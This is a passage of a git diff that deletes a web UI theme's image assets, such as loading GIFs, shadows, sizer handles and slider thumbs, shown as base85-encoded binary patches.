ziex_{?J@_no?mcY6gOD4w_c_@uY(;n6P>pct#|F6_gUZrx-}2ze8h4PaGit~txt3~ zi6((1WbTM%Ih{g3da{R;-u`=M;O{|`)Ms(2`yQ$6_o?M=sl9Wle37&+g|sKgv?JrR zFY#%yEoltN)C*{BjShXCjz?ND_)CHZcw8a=Ll_>MgiwieG)&SrQg*z-!;{0(;fq=( zXniXOM{`Cx{TczdogRuLup|jK4pO(w9PO3$T^NoCGlH9hzUQJNQkmersE3hpLNn6+ zI`o3foC1>4LrV0pkxpSed}NYdOo>xe68%L0fOf`@;4&9M*;&q63|wvpsG!3+KM7Y@0xB*+meL3r96~dJXn!IbR!5{{IlOnk zQPCiVgh!1-_QgeFQ*E}5e2&pzc9SyxBjZu4GN=>n@i{WbAS;K?$+>HkYqpouE0Io9 z#tkm&j(2zrXXTm+Wb&pv()%M(^I51x25NZ(waP=S%b+(6(Ay5^-AMF)7MjOEAB>=n zcxZu)k1)jN1j0uY=Oae+kzo3q8udBD_xS~YIS;{HL|`Ow7%3t~hKac{ijn1Geg*hm zgZRoLd=+rMNT!0-hz=0X?Xf(iyAK(HAbb|yU5rLk#KyP9o zni+^04fNv&1^|MBAVDFBpfFqzmKYSt42l{Jis1)61_VEa1jiwQ<8i?W#NZ@maPrI1 z;8*A=#rLx%`lPKxhFZv=9;c9v50n3@u@Xl1D?!_@Nbm zuqsGcH6pAQ7e*t7F_>ZXqhXEwun&OnW=MDoBD@V3-cAhfV1{>&hIjG9djQxz2$qe& ja&XuoB6fs{9UH}t^RbhFh$%?K3?gC<7a@G^oDlTi@@aO9`*nL diff --git a/public/images/default/shadow-lr.png b/public/images/default/shadow-lr.png deleted file mode 100644 index bb88b6f2be887650f28b16726e470c09459b9c86..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 135 zcmeAS@N?(olHy`uVBq!ia0vp^JV4CG!3HG1zpHNqQj#UE5hcO-X(i=}MX3yqDfvmM z3ZA)%>8U}fi7AzZCsS>JiZnf4978H@C8Z=JJZMPDQ+U>TNx_ce55uGN4u2%Q{wE|U g2=cJ=GBC0+@aVFNEX<$33#f^~)78&qol`;+0F-4Xf&c&j diff --git a/public/images/default/shadow.png b/public/images/default/shadow.png deleted file mode 100644 index 75c0eba3e101e3f32cef8bde7bae7383d849e935..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 311 zcmeAS@N?(olHy`uVBq!ia0vp^Y(Q+l0V0jwbN>KRk|nMYCBgY=CFO}lsSJ)O`AMk? zp1FzXsX?iUDV2pMQ*D5XZhE>nhE&`-GTD~D$v~hjI>0gT@Uw(Rj}ARr(#+ZY|Nr|R ztz576{))TQsGN9FjsN;R=N;cX_7>}LNxZmoT3OARN%FUXp-|AVh0k3k3m;=qQcOOgc@EIAyfV(r;i((zEeg z`}y44S?ng!NoE&wcK=*_2F$s1%jHel(|yj_4>tF9g$FFYCZ&0@DQ;=K_|9xe0dH@S zX*Z%4Z8@@VyGFIRewDnzd#yOua)FIqa}4Vg?=kT(Xhpeh(=cjy2J|F@r>mdKI;Vst E09T24*8l(j diff --git a/public/images/default/shared/blue-loading.gif b/public/images/default/shared/blue-loading.gif deleted file mode 100644 index 3bbf639efae54ae59e83067121a5283ca34fc319..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3236 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 JpNE6N8UT=&&-wrW diff --git a/public/images/default/shared/glass-bg.gif b/public/images/default/shared/glass-bg.gif deleted file mode 100644 index 26fbbae3bc6d2510832a5ed709f0cb029c2c1170..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 873 zcmZ?wbhEHbWMpt*XlGzJe&g*4AiDYX)q+w@6G_xop)#NygPUI-MM=} z^!_{$-T!dm{)dbAKU@Mb9(=g)@WaK2A1*!oaQVT<%a1-@ehfsPt~~sB_0h*Gk3U^| z^yxZ~`{dJA5c+)e>E~-e^z6&^=U;C;`E>K?=UY!d-+uP_&hsxfUVOdx;_KT_KNv>A zXb8|f1QdU=0PXzGpaZfQlqVQC+!&%a1WaT)$|)>om2)9Mk%@&tK#^^Rgu{V`ZWgW# wlLCgu<17lIIuQpJG%~aEtN6@tSlD!$TihV!!H0*;9Rf;j6Erp|DKJJSK2bm`zya0vPFVPO+Hzo=EoiUW<# zt-R7&85aT+o!hu13_^AkENo)sW?~Im5RiDNg-b{!q(fjK6AOo^oXv^{2OL}3c(n`? z0um24adC-+cuZKp#Ka=XC$l2qfI}-2tCoO5K;nT0E+&=`4uJ(sK-Uz9X;c_IJk-Xo z?6;=E@bR%edFMWzN~5Qzrs*f2TT>bQ{@gtKWw+(i!R!IjKB)<%j$y1Z!Zof6-y9;DGq~5NJ}7gDVJu-S5NBXy HWUvMRItY+| diff --git a/public/images/default/shared/large-loading.gif b/public/images/default/shared/large-loading.gif deleted file mode 100644 index b36b555b4ff04f841bb2101514d8f95bcf7358f4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3236 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 diff --git a/public/images/default/shared/left-btn.gif b/public/images/default/shared/left-btn.gif deleted file mode 100644 index a0ddd9ee8203b9fc45eb5ee78ae6bcb7e57aed7b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 870 zcmZ?wbhEHbSKV^zd-BO3vC604f{{R1d4Yk$n}L-sZYVSj)zmI o(Q}fL|Dq=uMNdw3X~iE>$=vYlK$lteqcf2P3=A_Zn3))?0bn93t^fc4 diff --git a/public/images/default/shared/loading-balls.gif b/public/images/default/shared/loading-balls.gif deleted file mode 100644 index 9ce214beb5cd4db00666778d371223c605874519..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2118 zcmbW22~ZPf7=}Y29Kir0FmlXvp;AJNF@T|n3=l~OQNReX(lJsJSV$lTCK1p9Cy_(M zQm|OSsz3m3sz4Eyf*^8<#%d)Dpydoi0>~kDK!ll=ZaA%FI-`5dzq{YQ`#%5s?JSAx z1lbx&?h&&9gFi*>!1pzUs7{@wn9`hLm1fx>(Jl7@kz#sNtqbnGu~ zQe16TTxnMP)H3+<{h@2EL)RY+mC2N450&LIW#wqY$lA~nbxPa!&C zu$mg`OY>TK<}eSK12l%IF?DpG!V-0@d@BkYlXMMpg0lep88I%nH28pK5h2~o?kkh6 z2b2xQChiFj0eW(#g;VTwwMJ5_?EDvp>#4GK+r2+JC89@-_OzrTH4{qP8k0!hnWK}9 zap_c+yqJ92gY!};(l)Zfx*I7zMHm#j&@PQG;7HGJgfynxUXLv`)H1{Pg;t0}hNdo2 zEzCw6`;fZ{f2sO<=B5-4@O@rsqC&BzvE4Uy6nRmKzwG>WQa)|oDe}n~loonAD-5{> z?UL_)*}^8e6BlB4$-lNLQ?wCd`#X$Xp*I-B46&`*HeU)u(UfY42oW;RS(7rB(NZ(l zVXa9y3Fg@)|wdEu-^Mr$bM<2lcshb1_0+qU%7*YY5d4R}04b5q{6gDK#lN_Yz+3 zA)Yn+Y!&vbrDwhDx#Nq+`TkLUbU3j!TN`d7b-gn)W>MmQ_}fG`$z)HJCVV5zccWav z)VK6731;9=Y1sl!Lg@h;g8AmhLs23E}Fg8bsA}jW84be zJj3a&!EX+(#)=!^aPHuvE0%9D^z0oWQl`8qV(5Oxp*_o)rkOg&mhP%-u(0XS@f3?_`nfh@f|7!XJ# zk%OqjKq3JM^2G-d4?(;7)p&sbDCoC_x zFgMyk0aQ)fOAm{tLDLuoh6x2UK0R(bi$jkD1vEB~9?s%M(#YylM@%FuVp#;fssZ~@ e5vO$#&5sswUKi2&Xpx=kB8ZO`!7YivcK-uGv{KRl diff --git a/public/images/default/shared/right-btn.gif b/public/images/default/shared/right-btn.gif deleted file mode 100644 index dee63e2113fcca680699455e8a56ee3eecc81c40..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 871 zcmZ?wbhEHbSKV^zd-BO3vC604f{{R1d4Yk$hk=zr!efJiBO@aVPsE804;fk*WxQe}6c#pgOBlzkIk8cxsZYUC>4${T q6OT!%mh)U@eo8sjryPH%CUe8H16^j>kIqCIFfh!NVPs)pum%9ETq}wI diff --git a/public/images/default/shared/warning.gif b/public/images/default/shared/warning.gif deleted file mode 100644 index 806d4bc09385a98ef1ac19d25e30a21310964e7e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 960 zcmZ?wbhEHb6krfwXlDR{f&hVn2muENhm@owhyM-@5dsqm1SVuCOej#8P@%A(LSO-q zY!KMcp>SY^z=a6{7Zxa7SYhyB1;c|43=ehyk-&!?1`l=wJUAfm;Do@30|Fm_AFI_r#;p+LTS5IEMaRKbDQDQU%2#0{;PZnkd237_gkWx^dVBna` zz|A4!v0=eMCPx*A6NM8NOc1gSve|KQ1H(iiYYu@O7ZQ#gR8*}I_~Dqq(8*@R^@`(W z@)HIIWfz?e!wVeVa#HbKFBUvx;Axbo`SPIg5jz8ey-mRe1I2~|N`gTPEE1a-8hE@l zIU)=NI+%skoc{dSsL0&PpvCnl!Qs*I)AH$&GFuihv|L@Lt98xe!$KzpaZ%Pw4hauj N9~|!BW@BNn1^{&szCZu~ diff --git a/public/images/default/sizer/e-handle-dark.gif b/public/images/default/sizer/e-handle-dark.gif deleted file mode 100644 index b5486c1a95bcc0f39a88c15c10c04ef7c3c561dd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1062 zcmZ?wbhEHb#gW zSa7hJLs%>3#D;~3+Xa-p=6GyebhKN-IP1=djf;=>D>!$_cy3y9a}Xwye0g*kiI*?5Qm)FE0;R>^0YG>#D1(BQ|H< zJ+*c9_4NsdyJWq$t+}~5+bHZ`26bb>Fw+9?{8q{mh;)M z;o;#9VePmxJJK5%IOMqVHRPj^sIT3W`5a^n+Y$P=Sr`RJG*P^>+2hm zPtWt+z3uJo9mTKjo!!0t{rv;Y-12^Vc6@w%VzPGpxjj2SKfkcpd%oY^U0+|{*qnX; T+}_>a-#<9q&HP*pKCAv-hK1$|Ns9CqhK@yMn(uI{$v4q z^gn|R$h)9C!NBpKfm=XAL80MbGZUwri^YZqhZs0z^?H5?BpvP&kx!db5t!`W$7S2b zqB-%Q$7EIBJeSUo%H9(-b?1e=ob=3RreXN4Gm*mSr)OK$9{O`qIOF^RkA5xFQ(IO9 zFA8Y)Qk9(g>dN%6%}IB6ZPp537_~c2R9fuK^(DT0C)w`)@-kv`_TxiyyRYTm+?Dlm z+u82#x%YQh|7ByF6IPITsO+X(*qn%W@yBY|oz3n@jiJwDpWpD!D2@#*RM zbouaqd#t{`KC@K){5zTIFYoRwZ~uS)Uu;d~r?Y35yRVo1RrUSt+WvO_e>SyWKknT> zJ%9fHy1zfqK96ts%NTLLo=K|Xej|%gL_(8*oyNju5wi@%W(mC&iq(=uJ08}`wQ)S^ zU@r4m)TA`+$HFenMHNXcqO(ps>K2aMv8dblS;yl(gIhO}`i(wCBu{X-7xARuS!$-r zBtxy6DwFLl{a7+3@KuG%R2RL@rISOsESFA=YWlf!dTg9#+RVgBGoQ{#TXpj3tc*=F z(`J{P%UnLE;@C>{IW_xUs!yq9`t^KTlbF|wh3RZvD`vN;S*=*yYqTq4ZlxC2%O&OS zey&(Dz3kM>?LPQFywyoHAYVDT0ajVyEf83S5 zYUk}~v)}G~z3g<}j<=J3>+SdwC9S{f)2`L|`~Ez7{eCaQVeNvw_itHmILNZPy5Jy> z_M8uUINa|T91(v1`~4w4?>U7>|FZqra8xea=i@Pz{v4wd67%mAp3VHu<2 zhTV5Ioz;IFV|>wdeI5}aFh%{jYv+pP@iy=AuwcHjMWHRrml`Q7q*+i$mvZu8$Qzn3`O RcKf}i-@V(HGcqz*0{{svxFG-l diff --git a/public/images/default/sizer/ne-handle-dark.gif b/public/images/default/sizer/ne-handle-dark.gif deleted file mode 100644 index 04e5ecf7d3837aec9510f5467282c10f158a5563..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 839 zcmZ?wbhEHb+Yh5$94ZWq95Nmo l794Em;N}uwNKib;z{ui|Vj-Z!(9Iz$HK#)0@qq>gYXJ2^5-b1! diff --git a/public/images/default/sizer/ne-handle.gif b/public/images/default/sizer/ne-handle.gif deleted file mode 100644 index 09405c7ac7b321b3eb9170b1584167448819a071..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 854 zcmZ?wbhEHbc63}qqP#3eHjE2L+1SS?XB|ZfS0S0RTeD^Ni diff --git a/public/images/default/sizer/nw-handle-dark.gif b/public/images/default/sizer/nw-handle-dark.gif deleted file mode 100644 index 6e49d6967c08db2c02a3aeb9c1f3cacb9c8665f6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 839 zcmZ?wbhEHb+Yh5$94ZWq95Nmo l794Em5abeINJw;KWMp#S2{2G%=w_Cco6{kn+|a;a4FKuB5a0j+ diff --git a/public/images/default/sizer/nw-handle.gif b/public/images/default/sizer/nw-handle.gif deleted file mode 100644 index 2fcea8a9285dc74626ba9374055b25ab77e53a08..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 853 zcmZ?wbhEHb#gW zSa7hJLs%>3#D;~3+Xa-p=6GyebhKN-IP1=djf;=>D>!$_cy3y9a}Xwye0g*kiI*?5UEB1_q}2ZmnDnS(jHwY|grS zYU}Fj>k|%l$$D>Fb8~aX+fl6@9wVn{Oa!M?d$LFZ(!z@^VzW> zaVFC%HL)EM4v!B{Q1+hZvvbqa(=&{-@15DX`T6+;&fRjpySBW%ydrpY+}T}QUtiyl ze0rYm?rm>x?*pKCAv-hK1$|Ns9CqhK@yMn(uI{$v4q z^gn|R$h)9C!NBpKfty3dW5a@j%^bp7F()=GJlrmz>@~+@*_y+_d!cbc5tmb38XMJ3HH=_|=`0o0p%T&eFss>$PRY#l;?zwPH_g zS$TPRz+$htURzgPT^+GG>+Y$otFNz5INT-cy=~3S%^8FMbi#@YAI?A-kP`~v50 zIp1AdUS3`iygKgeuC1@HZ%95pZ|#k>jf~q0nRm>cz3u(|1I^s>etUL&e0*ZEcKo?L zJ3n7!TI4<7Z||eAWv;!(H3F^$JPCf70^_gXw#@wm_C+l$Bj4s4oFCb)=Y zKAGsDw(`j&AG4QFCI`4_KAjR0micsQMB2)y(_+eAKAoP>rul3}%CyX9Gc%U0d^Rg* z+skLO3yx_%pHp%z^ZDG0XDgr2tNHfw`TPbptrrVg#Ijy2>`+_vVo{ITs~3wWxM{sy zG9@hQ<LuU0IXmi21oie;-_ty;6~)vMJTjxl$oIxtuR03tF% AKmY&$ diff --git a/public/images/default/sizer/se-handle-dark.gif b/public/images/default/sizer/se-handle-dark.gif deleted file mode 100644 index c4c1087868afab5b5bfd329f52d9907eb1c0061a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 838 zcmZ?wbhEHb+YZ5$9Lfxg96SOJ k3mltSSY>Q9925^Vv52er?AV~l(9La}b>~E3vIB!P0N;ZWjQ{`u diff --git a/public/images/default/sizer/se-handle.gif b/public/images/default/sizer/se-handle.gif deleted file mode 100644 index 972055e7b297a702ab9aa2d799d133b94ac92315..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 853 zcmZ?wbhEHb{~M&wt%~@%zrJ-wdN* zGz5lq2q^w!0s8MhgAT}-pgh6AVaveCA>$E{(A3N!$mMciL!xsdyOP%wjSCG&yTw_> nZk(97*nvsGxlP1k!4l8OOsp$nb_OLhOgBgro5QJ~z+epkjJq?f diff --git a/public/images/default/sizer/sw-handle-dark.gif b/public/images/default/sizer/sw-handle-dark.gif deleted file mode 100644 index 77224b0c06f1666685286c5322fb02b4cd2204bc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 839 zcmZ?wbhEHb+Yh5$94ZWq93m15 l2M#ndammSOI2<_C%q421Gvk7Sb33nm)}0d@l^YrutN|0L6o3E# diff --git a/public/images/default/sizer/sw-handle.gif b/public/images/default/sizer/sw-handle.gif deleted file mode 100644 index 3ca0ed96df2059fe283c1d65fa1032a777e1ff97..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 855 zcmZ?wbhEHb_F_q!3-qVNZQx|DV-A6h!W?b)Wnj^{5*w_%-mFl zkc?6VBXb4c#3BVF0|N^M17j-_11m#w1ziJE1B0DgB7cDlD)IDnWxv59C8liseo9Il zP>8d@BeIx*f$tCqGm2_>H2?)!(j9#r85lP9bN@+X1@ct_d_r9R|Np;d_l_fHFK%AH z^6>thcW+(4aQ66_;|EtQS$O!!!80cg?%BPQLC5($P(5QwkY6x^!?PP{K#rTIi(^Q| zt+Nw$@*Xe{IQ-;9=l;Lnc?BNrIk1yMnla18!|Rfx_=~o=7sXGUdm8y8?D5mi^pr2Z pI^U;TAL(EB=a!G%y}ycg#aS#EpKsu3JPkCF!PC{xWt~$(69A`aaP9yA diff --git a/public/images/default/slider/slider-thumb.png b/public/images/default/slider/slider-thumb.png deleted file mode 100644 index cd654a4c1680183026145066b4aa1a7802605456..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 933 zcmWktYfO^|6#dFz0*jkYAxr02nPDo(Y#3G2We5n&sxU;xD0?`TAk?4`t&?nHc7tSd z3BhbUwh=-{CW2C=R96rO(&5-gscoUWiha@ACv=ooX>pu=`*F^>IX5>s$;rK%mHE!r zP$h3lZ zsu&tSJM$EgWSu@k&1X2N$vNfP1r2#P<>bx>9-HY>X?dzQ`iE=Wlw;RNCAE=}lB(Zo z<6gMZclprm#8~&$>T1JWM}M<~-Ml+E|D-6_*cxWgU-Z?i6ust)nk;MoNq#u7uv;l^ zc%Sp4FTSFge0_U;M2mWF(hez^x65SwD7r47cs}l{u%vZ=dWdj%&y6Bm@aZmsp732n z`nJSRY5d(iFV7q)Zw^u^L<>z!SwVOYYiDTWE^70(u!`A86P*2iZai9?pV48-{yUCV9Ec?o@;sUjk=1>cAm88uY+&dR!6>c{!;b@zv}ZnqTHCISIq3j zrmRZR!4J?JEO}MEgUxOYRO$OSzfMm1HjkLN%MA;yI5!rveWW!)Se@qKRd$^E(bb#N7V}{^w%jXPw*+ z6yhxKh%9Dc;5!7ujG`J|4M0JbbVpxD28NCO+UBR8*c(lVeoYIb6Mw<&;$UDTwkjI diff --git a/public/images/default/slider/slider-v-thumb.png b/public/images/default/slider/slider-v-thumb.png deleted file mode 100644 index 7b3d7258ada4c81c6fc060bd5eea69524f0ddd65..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 883 zcmWkrX-ty`0R50E#}rYbBu=wW5C%9+p|mz^KUyf-HiDg2qsADUdFzy5J(6V!F6ux{ zaM+2OO$`xO3Uq)R3W!vwP+G1+0l{9h^wh2t1P1Ecw;%7wOWvRN3Pjo4mW8hgCkSGh zfX~}W=_U$Ep}`bKs$wE3`9_+#SDKM~L?S(L_6#XL@#7IfeEd9_vW3i&r8Rg-rR1}uO-*=86B3}KEpj8RNJSwCe z<7ROQqPp;lkCMd%5%jZYyEu~r&Z91X zf9j@W8dR9k4|L3<$&YFmJnu7Kt{FYwd>r5Rl|w2Y#50Oj3~YoXAgst?bG&}PJ#5B*LU z{dhi%PAi5yumtc_57k?YzK3lZCO;fAuuj1>3uQ0r2GKeOg9r8x@cfIq0W`lshXs93 zIA`IVN8>P>-au=Idk*gx@Nx_tR`fbB@($(zCT8GUfYt`J8SN(MT~J+7{6rlSB;A?4 zi{Lm$j#55Vz~hQ9js9@RB1tFCELoIyqu@p3lls?9n^{Tg3m@givo8E|x9G0ECUCv$ zW>S2Nc)=b`i+*yoGx z#+_e9u4`NQ<+fT+t3SUpVSIPU;$N@*R&qb?%B_=I<2M+#S1hId9!oIRt6i-(mIr+o zmUzJ$m2>{w#i(h~Zhb8&|6|8ij!3;n-D6VqYdY^0h8ofXcZ&8bNx3$};+3(67|G0C z237+ptgBK!Xd(M@Vq?UoRC)CgD-;F^C*wA|I6wb-VmZG|v7&PSfrH%d3oaQ}7UiZq 